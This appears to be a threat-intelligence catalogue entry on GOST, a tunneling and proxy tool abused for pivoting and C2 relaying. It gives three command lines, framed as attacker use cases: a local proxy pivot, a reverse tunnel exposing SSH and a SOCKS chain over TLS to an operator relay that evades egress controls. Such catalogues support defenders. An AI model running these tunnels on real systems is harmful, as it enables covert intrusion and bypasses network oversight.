.. /GOST
Star

Access

GOST (GO Simple Tunnel) is a self-hosted, multi-protocol tunneling and proxy tool bundled in a single Go executable that acts as both client and server. It supports SOCKS5/HTTP proxying, TCP/UDP port forwarding and chained (multi-hop) tunnels over transports such as TLS, WebSocket, KCP and QUIC. Because the relay server is operator-run, there is no vendor domain to block. It is heavily abused for pivoting and C2 relaying, observed with Cadet Blizzard/APT44, MirrorFace, Hydrochasma and BlackCat/BlackMatter ransomware, and is named in CISA advisories on Russian military cyber actors.

Paths:

Resources:

Acknowledgements:

Detections:

Access

  1. Starts a local proxy listener (SOCKS5/HTTP auto-detected) on port 8080, providing a proxy entry point into the network from the host.

    gost -L=:8080
    Use case
    Standing up a proxy pivot on a compromised host.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS

  2. Publishes a remote TCP forward so that connections to port 6000 on the GOST server are forwarded to a local service such as SSH (22), reaching a host behind NAT or a firewall.

    gost -L=rtcp://:6000/127.0.0.1:22
    Use case
    Reaching an internal service through a reverse tunnel.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS

  3. Runs a local SOCKS5 proxy that chains outbound through an operator-controlled GOST relay over TLS, tunneling traffic to blend with ordinary HTTPS and bypass egress controls.

    gost -L=socks5://:1080 -F=relay+tls://<SERVER>:443
    Use case
    Establishing a chained SOCKS pivot to an operator-controlled relay.
    Privileges required
    User
    Operating systems
    Windows, Linux, MacOS